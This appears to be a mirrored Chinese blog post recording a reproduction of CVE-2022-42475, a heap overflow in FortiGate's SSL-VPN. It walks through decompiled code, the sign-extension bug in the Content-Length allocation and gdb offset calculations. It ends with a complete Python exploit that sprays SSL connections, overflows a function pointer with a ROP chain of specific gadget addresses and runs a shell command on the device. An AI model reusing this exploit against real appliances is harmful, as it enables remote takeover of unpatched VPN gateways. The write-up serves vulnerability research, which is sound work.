CVE-2022-42475-FortiGate-SSLVPN HeapOverflow 学习记录 - 狒猩橙
source link: https://www.cnblogs.com/pwnfeifei/p/17641251.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持 ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。
如何劫持SSL结构体指针实现控制程序流
就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的 gadget便可以控制程序的执行流。相关代码如下:
__int64 __fastcall debug_2nd_control(__int64 a1, char a2)
{
...
if ( v9 )
{
result = v8 + 96;
if ( v9 != v8 + 96 )
{
v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192);
if ( v10 )
return v10(a1);
...
}
.text:000000000180C180 48 8B 82 C0 00 00 00 mov rax, [rdx+0C0h]
.text:000000000180C187 4C 89 EF mov rdi, r13
.text:000000000180C18A 48 85 C0 test rax, rax
.text:000000000180C18D 0F 84 85 00 00 00 jz loc_180C218
.text:000000000180C193 5B pop rbx
.text:000000000180C194 41 5C pop r12
.text:000000000180C196 41 5D pop r13
.text:000000000180C198 41 5E pop r14
.text:000000000180C19A 5D pop rbp
.text:000000000180C19B FF E0 jmp rax
从下面的汇编中可知,这里分配的大小是由 movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为 1,从而产生堆溢出。利用手法是,在堆上大量喷射 SSL结构体,从而劫持其中对应的函数指针。
0000000001811174 8B 40 18 mov eax, [rax+18h] ; Keypatch modified this from:
0000000001811174 ; nop word ptr [rax+rax+00000000h]
0000000001811174 ; Keypatch padded NOP to next boundary: 8 bytes
0000000001811177 49 8B 3C 24 mov rdi, [r12] ; Keypatch modified this from:
000000000181117B E9 86 02 00 00 jmp loc_1811406
0000000001811406 8D 70 01 lea esi, [rax+1] ; Keypatch modified this from:
0000000001811409 E9 96 01 00 00 jmp loc_18115A4
00000000018115A4 48 63 F6 movsxd rsi, esi ; Keypatch modified this from:
00000000018115A7 E9 88 FB FF FF jmp loc_1811134
0000000001811134 E8 27 0A EC FF call alloc__
如何确定填充数量
网上已经有文章(https://forum.butian.net/index.php/share/2166)给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言,ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串 read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为 192的地方。故我们只需定位到 read_post_data,即可确定偏移。
sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);
char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5)
{
...
strLen = strlen(str);
v8 = alloc__(*a1, strLen + 201);
v9 = (__int64)v8;
if ( v8 )
{
*(_QWORD *)v8 = v8;
*((_QWORD *)v8 + 1) = v8;
v10 = &v8[32 * a3];
*((_DWORD *)v10 + 6) = a4;
*((_DWORD *)v10 + 7) = a4;
if ( (a4 & 1) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 32) = a5;
}
else if ( (a4 & 4) != 0 )
{
*(_QWORD *)(32LL * a3 + v9 + 40) = a5;
}
strcpy((char *)(v9 + 200), str);
...
}
调试时内存分布如下,有 0x2638-0x1818 = 0xE20 = 3616
(gdb) i r $rdi
rdi 0x7f6edef01818 140114163406872
(gdb) x/10gx 0x7f6edef01818
0x7f6edef01818: 0x0000000000000000 0x0000000000000000
0x7f6edef01828: 0x0000000000000000 0x0000000000000000
0x7f6edef01838: 0x0000000000000000 0x0000000000000000
0x7f6edef01848: 0x0000000000000000 0x0000000000000000
0x7f6edef01858: 0x0000000000000000 0x0000000000000000
(gdb) x/10gx 0x7f6edef02638
0x7f6edef02638: 0x0000000000000000 0x736f705f64616572
0x7f6edef02648: 0x0000617461645f74 0x0000000000000000
0x7f6edef02658: 0x0000000000000000 0x0000000000000000
0x7f6edef02668: 0x0000000000000000 0x0000000000000000
0x7f6edef02678: 0x0000000000000000 0x0000000000000000
(gdb) x/s 0x7f6edef02640
0x7f6edef02640: "read_post_data"
import struct
import socket
import ssl
p64 = lambda x: struct.pack("<Q", x)
path = "/remote/login".encode()
ip = "192.168.229.162"
port = 4443
def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket
socks = []
for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)
for i in range(20, 40, 2):
sk = socks[i]
sk.close()
socks[i] = None
CL = "115964116992"
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"
exp_sk = create_ssl_ctx()
for i in range(20):
sk = create_ssl_ctx()
socks.append(sk)
exp_sk.sendall(data)
payload = b"b" * (3613-0xc0)
payload+= p64(0)
payload+= p64(0x19de70a)
# 0x00000000019de70a : pop r12 ; pop r13 ; pop rbp ; ret
payload+= p64(0x100)*3
payload+= p64(0x1855c29)
# 0x0000000001855c29 : add rdx, r8 ; mov byte ptr [rdx], 0 ; ret
payload+= p64(0x1fe54ad)
# 0x0000000001fe54ad : pop rbp ; mov rax, rdx ; ret
payload+= p64(0x30)
payload+= p64(0x18cfb70)
# 0x00000000018cfb70 : lea rdi, [rax - 0x28] ; call qword ptr [rax + 0x30]
payload+= p64(0x40)*(24-9)
payload+= p64(0x1d3379c) # rip
# push rdx ; adc byte ptr [rbx + 0x41], bl ; pop rsp ; pop rbp ; ret
payload+= p64(0x736f705f64616572)
payload+= p64(0x0000617461645f74)
cmd = b"busybox ls > /tmp/hack"
cmd = cmd.ljust(11*0x8, b'\x00')
payload+= cmd
payload+= p64(0x43FDF0)
exp_sk.sendall(payload)
for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data)
print("done")
https://forum.butian.net/index.php/share/2166
https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html
https://wzt.ac.cn/2022/12/15/CVE-2022-42475/
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/
__EOF__
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK